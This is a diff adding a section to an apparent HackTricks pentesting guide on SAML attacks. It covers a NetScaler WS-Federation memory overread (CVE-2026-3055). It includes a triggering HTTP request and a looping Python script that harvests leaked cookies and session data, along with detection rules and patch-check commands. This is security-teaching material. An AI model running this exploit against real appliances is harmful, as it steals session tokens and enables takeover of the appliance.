Please, We Beg, Just One Weekend Free of Appliances Citrix N...

src/pentesting-web/saml-attacks/README.md

@@ -453,6 +453,45 @@ find /var/vpn/theme -type f
 
 Search every boot-specific directory under `/var/core`, not only `/var/core/1`. A failed exploit may restart only `nsppe` without rebooting the OS, so uptime or a brief network interruption cannot distinguish failure from successful code execution; persistent unexpected files provide stronger evidence.<sup>[[17]](#references)</sup>
 
+## WS-Federation valueless query-parameter overread
+
+When fuzzing native query-string handlers, distinguish an **absent** parameter, an **empty** parameter (`?name=`), and a **valueless** parameter (`?name`). Code that checks only whether a name exists can later dereference a nonexistent value buffer. NetScaler CVE-2026-3055 exposed this bug at the WS-Federation passive endpoint: an unauthenticated request containing `wctx` without either `=` or value data caused stale process memory to be serialized. The affected route is reachable when the appliance is configured as a SAML IdP.<sup>[[19]](#references)[[20]](#references)</sup>
+
+```http
+GET /wsfed/passive?wctx HTTP/1.1
+Host: target.example
+Connection: close
+```
+
+The exact wire form matters: `?wctx=` does not exercise the same parser state. A vulnerable response is normally a `302` to `/vpn/index.html` whose Base64-encoded `NSC_TASS` cookie contains reconstructed WS-Federation fields followed by unrelated bytes. A fixed appliance instead returns a short redirect to `/` without the leaking cookie. Disable redirect following so the original `Set-Cookie` header is not lost.<sup>[[19]](#references)</sup>
+
+The following authorized-test loop samples the reflected cookie and prints candidate HTTP cookie data found beyond the `wctx=` marker.<sup>[[19]](#references)</sup>
+
+```python
+import base64, requests
+
+while True:
+    r = requests.get("https://target.example/wsfed/passive?wctx", verify=False, allow_redirects=False)
+    value = r.cookies.get("NSC_TASS")
+    if not value:
+        continue
+    raw = base64.b64decode(value)
+    _, marker, leak = raw.partition(b"wctx=")
+    if marker and b"Cookie" in leak:
+        print(leak.decode("ascii", errors="ignore"))
+```
+
+Treat one response as only a heap sample: identical requests can return different allocations as the packet engine processes concurrent traffic. Retain each decoded blob and search it as binary data for request lines, `Cookie:`, `Authorization:`, product-specific headers such as `Citrix-ns-orig-srcip`, internal addresses, and session-token names. The presence of loopback packet data or appliance forwarding headers can identify internally generated or proxied traffic rather than attacker-controlled reflection.<sup>[[19]](#references)</sup>
+
+An active administrative session recovered from these samples may be replayable until it expires or is revoked, turning the disclosure into authenticated appliance control. Detection should therefore preserve raw query strings and alert on repeated requests to `/wsfed/passive` where the raw query contains a standalone `wctx` token with no equals sign; a large, changing `NSC_TASS` value in the associated `302` response is a strong confirmation signal. After patching, invalidate potentially exposed sessions and investigate historical traffic because the update cannot revoke secrets already collected.<sup>[[19]](#references)</sup>
+
+Inventory the prerequisite and confirm the installed build against the current vendor bulletin:<sup>[[20]](#references)</sup>
+
+```bash
+show ns runningConfig | grep -i 'add authentication samlIdPProfile'
+show ns version
+```
+
 ## Unterminated / unquoted SAML attribute overread (IdP parser bugs)
 
 Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
@@ -558,5 +597,7 @@ The same parser weakness that gives an overread can also crash the SAML processi
 - [16] [You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452)](https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/)
 - [17] [No Crash Required: Verifying the Citrix NetScaler SAML Patch for CVE-2026-8452](https://bishopfox.com/blog/no-crash-required-verifying-the-citrix-netscaler-saml-patch-for-cve-2026-8452)
 - [18] [BishopFox CVE-2026-8452 patch-state detector](https://github.com/BishopFox/CVE-2026-8452-check)
+- [19] [Please, We Beg, Just One Weekend Free of Appliances: Citrix NetScaler CVE-2026-3055 Memory Overread, Part 2](https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2)
+- [20] [NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368](https://support.citrix.com/external/article/CTX696300/netscaler-adc-and-netscaler-gateway-secu.html)
 
 {{#include ../../banners/hacktricks-training.md}}